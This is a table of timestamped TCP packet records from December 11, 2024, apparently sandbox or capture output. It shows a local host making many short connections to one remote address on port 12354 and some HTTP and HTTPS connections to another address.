Dec 11, 2024 16:28:54.621423006 CET	58739	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.622472048 CET	12354	58739	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.627188921 CET	58739	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.627717972 CET	58867	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.742109060 CET	12354	58739	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.746721983 CET	12354	58739	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.748073101 CET	12354	58867	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.748183012 CET	58867	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.748411894 CET	58867	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.867765903 CET	12354	58867	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.867778063 CET	12354	58867	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.868464947 CET	59071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.989506960 CET	12354	59071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:54.989574909 CET	59071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:54.990272999 CET	59071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.113269091 CET	12354	59071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.113323927 CET	59071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.113635063 CET	59071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.113732100 CET	12354	59071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.114079952 CET	59278	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.232989073 CET	12354	59071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.233212948 CET	12354	59071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.233748913 CET	12354	59278	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.233809948 CET	59278	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.234134912 CET	59278	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.353310108 CET	12354	59278	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.353379011 CET	59278	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.353404999 CET	12354	59278	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.353539944 CET	59278	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.354166985 CET	59457	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.472719908 CET	12354	59278	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.472748995 CET	12354	59278	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.473484993 CET	12354	59457	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.475958109 CET	59457	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.476666927 CET	59457	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.596151114 CET	12354	59457	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.599703074 CET	80	58216	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:55.599853039 CET	58216	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:55.612133026 CET	59749	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:55.612164974 CET	443	59749	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:55.612596989 CET	59749	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:55.613451958 CET	59749	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:55.613464117 CET	443	59749	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:55.786552906 CET	12354	58012	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.786715031 CET	58012	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.787513018 CET	58012	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.788311958 CET	59959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.906852961 CET	12354	58012	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.907787085 CET	12354	59959	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:55.909275055 CET	59959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:55.909625053 CET	59959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.029145002 CET	12354	59959	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.029238939 CET	59959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.029288054 CET	12354	59959	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.029942989 CET	59959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.030344009 CET	60128	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.149380922 CET	12354	59959	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.150158882 CET	12354	59959	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.150449991 CET	12354	60128	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.150650024 CET	60128	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.151053905 CET	60128	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.270292997 CET	12354	60128	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.270314932 CET	12354	60128	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.270389080 CET	60128	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.296583891 CET	60128	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.297404051 CET	60430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.391356945 CET	12354	60128	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.417803049 CET	12354	60128	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.418313980 CET	12354	60430	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:56.422470093 CET	60430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.422771931 CET	60430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:56.547409058 CET	12354	60430	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.502661943 CET	443	59749	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.502774000 CET	59749	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.503571033 CET	443	59749	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.503803968 CET	59749	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.506817102 CET	59749	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.506859064 CET	443	59749	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.506922007 CET	59749	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.552253962 CET	59457	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.552536964 CET	60430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.553431988 CET	61582	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.603387117 CET	12354	59457	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.604801893 CET	59457	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.620088100 CET	58216	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.620518923 CET	61619	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.675637007 CET	12354	61582	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.675760984 CET	61582	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.677439928 CET	61654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.678308964 CET	61582	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.740967989 CET	80	58216	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.740979910 CET	80	61619	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.741092920 CET	61619	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.741436958 CET	58216	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.741550922 CET	61619	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.795475006 CET	12354	61582	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.796045065 CET	61582	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.796777964 CET	12354	61654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.796848059 CET	61654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.797827005 CET	12354	61582	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.798624039 CET	61582	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.799388885 CET	61785	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.799531937 CET	61654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.860944033 CET	80	61619	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.860965014 CET	80	61619	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.861067057 CET	61619	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.865848064 CET	61619	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:57.918361902 CET	12354	61582	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.919047117 CET	12354	61654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.919189930 CET	61654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.920644045 CET	12354	61582	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.921112061 CET	61654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.921214104 CET	12354	61785	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.921284914 CET	61785	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.921287060 CET	12354	61654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:57.921762943 CET	61786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.922111034 CET	61785	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:57.982870102 CET	80	61619	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.989689112 CET	80	61619	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:57.996962070 CET	61816	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:58.038630962 CET	12354	61654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.040422916 CET	12354	61654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.040954113 CET	12354	61785	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.041182995 CET	12354	61786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.041249037 CET	61785	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:58.041368008 CET	61786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:58.041477919 CET	12354	61785	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.041743994 CET	61785	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:58.042028904 CET	61786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:58.042416096 CET	61835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:58.116462946 CET	80	61816	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:58.116558075 CET	61816	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:58.117446899 CET	61816	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:58.161550045 CET	12354	61785	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.162039995 CET	12354	61785	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.162523031 CET	12354	61786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.162839890 CET	12354	61835	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:58.162933111 CET	61835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:58.163986921 CET	61835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:58.237683058 CET	80	61816	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:58.283541918 CET	12354	61835	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:59.676568031 CET	80	61816	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:59.676661968 CET	61816	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:59.743505001 CET	63067	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:59.743544102 CET	443	63067	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:59.743813038 CET	63067	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:59.810261011 CET	63067	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:59.810292006 CET	443	63067	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.051342964 CET	443	63067	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.162900925 CET	12354	61786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.166198015 CET	61786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.169208050 CET	63070	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.169251919 CET	443	63070	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.173412085 CET	63070	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.173412085 CET	63070	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.173455954 CET	443	63070	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.227415085 CET	61786	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.228415012 CET	63071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.270262003 CET	12354	61835	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.274373055 CET	61835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.291491985 CET	61835	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.347268105 CET	12354	61786	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.348272085 CET	12354	63071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.348467112 CET	63071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.410825968 CET	12354	61835	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.415287971 CET	443	63070	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.418447971 CET	63071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.468111038 CET	12354	63071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.468189955 CET	63071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.493947029 CET	63073	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.493993998 CET	443	63073	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.494066000 CET	63073	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.497498989 CET	63071	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.497910976 CET	63073	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.497967005 CET	443	63073	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.498024940 CET	63073	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.507910967 CET	63075	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.510159016 CET	63076	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.537750959 CET	12354	63071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.588494062 CET	12354	63071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.607753992 CET	61816	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.608030081 CET	63105	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.617626905 CET	12354	63071	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.628535986 CET	12354	63075	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.628609896 CET	63075	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.629544973 CET	63075	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.633152008 CET	12354	63076	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.633261919 CET	63076	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.633682013 CET	63076	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.727427006 CET	80	63105	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.727502108 CET	63105	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.727539062 CET	80	61816	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.727591038 CET	61816	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.728559017 CET	63105	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:00.753267050 CET	12354	63075	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.757045031 CET	12354	63076	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.757261992 CET	12354	63076	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.760292053 CET	63215	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.848033905 CET	80	63105	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:00.880407095 CET	12354	63215	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:00.880477905 CET	63215	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:00.881283998 CET	63215	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:01.002099991 CET	12354	63215	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:02.299490929 CET	80	63105	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:02.300060034 CET	63105	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:02.303026915 CET	64201	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:02.303055048 CET	443	64201	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:02.303181887 CET	64201	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:02.304192066 CET	64201	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:02.304204941 CET	443	64201	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:02.765763998 CET	12354	63075	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:02.765825033 CET	63075	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:02.840424061 CET	63075	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:02.841303110 CET	64503	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:02.962100029 CET	12354	63075	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:02.963044882 CET	12354	64503	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:02.963150024 CET	64503	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.020157099 CET	12354	63215	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.020306110 CET	63215	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.087295055 CET	12354	64503	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.087354898 CET	64503	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.164351940 CET	64503	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.164397001 CET	64503	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.169429064 CET	63215	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.285562038 CET	12354	64503	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.285675049 CET	12354	64503	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.290261984 CET	12354	63215	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.331413984 CET	64505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.344618082 CET	64507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.450696945 CET	12354	64505	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.450781107 CET	64505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.451390982 CET	64505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.464190006 CET	12354	64507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.464278936 CET	64507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.465650082 CET	64507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.570385933 CET	12354	64505	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.570816994 CET	12354	64505	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.570935965 CET	64505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.581618071 CET	64505	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.582495928 CET	64618	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.584785938 CET	12354	64507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.584971905 CET	64507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.585525990 CET	12354	64507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.585891962 CET	64507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.690727949 CET	12354	64505	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.701816082 CET	12354	64505	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.702162981 CET	64687	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.702466011 CET	12354	64618	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.702537060 CET	64618	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.703222990 CET	64618	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.704266071 CET	12354	64507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.705204964 CET	12354	64507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.821671009 CET	12354	64687	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.821794987 CET	64687	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.822187901 CET	12354	64618	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.822288036 CET	64618	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.822468996 CET	12354	64618	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.822942972 CET	64618	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.822962999 CET	64687	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.823615074 CET	64800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.941556931 CET	12354	64618	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.941569090 CET	12354	64687	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.941634893 CET	64687	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.941965103 CET	64687	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.942182064 CET	12354	64618	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.942298889 CET	12354	64687	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.942445993 CET	64881	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.942843914 CET	12354	64800	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:03.942928076 CET	64800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:03.948057890 CET	64800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.022026062 CET	443	64201	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.022125006 CET	64201	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.022811890 CET	443	64201	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.022972107 CET	64201	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.027143955 CET	64201	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.027193069 CET	443	64201	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.027290106 CET	64201	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.061609030 CET	12354	64687	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.061713934 CET	12354	64687	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.061891079 CET	12354	64881	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.062164068 CET	64881	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.062680006 CET	64881	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.063854933 CET	12354	64800	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.063966990 CET	64800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.064302921 CET	64800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.064600945 CET	64945	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.067414045 CET	12354	64800	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.135495901 CET	63105	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.135796070 CET	65025	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.181934118 CET	12354	64881	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.182029009 CET	12354	64881	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.182032108 CET	64881	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.182526112 CET	64881	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.182914972 CET	65050	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.183228970 CET	12354	64800	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.183739901 CET	12354	64800	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.184068918 CET	12354	64945	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.184143066 CET	64945	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.184326887 CET	64945	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.255285025 CET	80	63105	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.255310059 CET	80	65025	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.255337954 CET	63105	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.256637096 CET	65025	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.256638050 CET	65025	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.301271915 CET	12354	64881	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.301898956 CET	12354	64881	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.302246094 CET	12354	65050	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.302500963 CET	65050	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.302984953 CET	65050	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.303528070 CET	12354	64945	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.303548098 CET	12354	64945	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.303967953 CET	65152	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.376096010 CET	80	65025	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.422290087 CET	12354	65050	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.422463894 CET	12354	65050	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.422512054 CET	65050	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.423193932 CET	65050	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.423253059 CET	12354	65152	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.423688889 CET	65152	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.423861027 CET	65305	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.424242020 CET	65152	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.506218910 CET	65152	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.507392883 CET	65025	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.541889906 CET	12354	65050	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.542414904 CET	12354	65050	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.543076038 CET	12354	65305	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.543114901 CET	12354	65152	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.543175936 CET	65152	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.543339968 CET	65305	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.543598890 CET	12354	65152	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.546983957 CET	65434	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.631608009 CET	65455	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.639493942 CET	65457	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.666754007 CET	12354	65434	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.666842937 CET	65434	12354	192.168.2.5	107.163.241.232
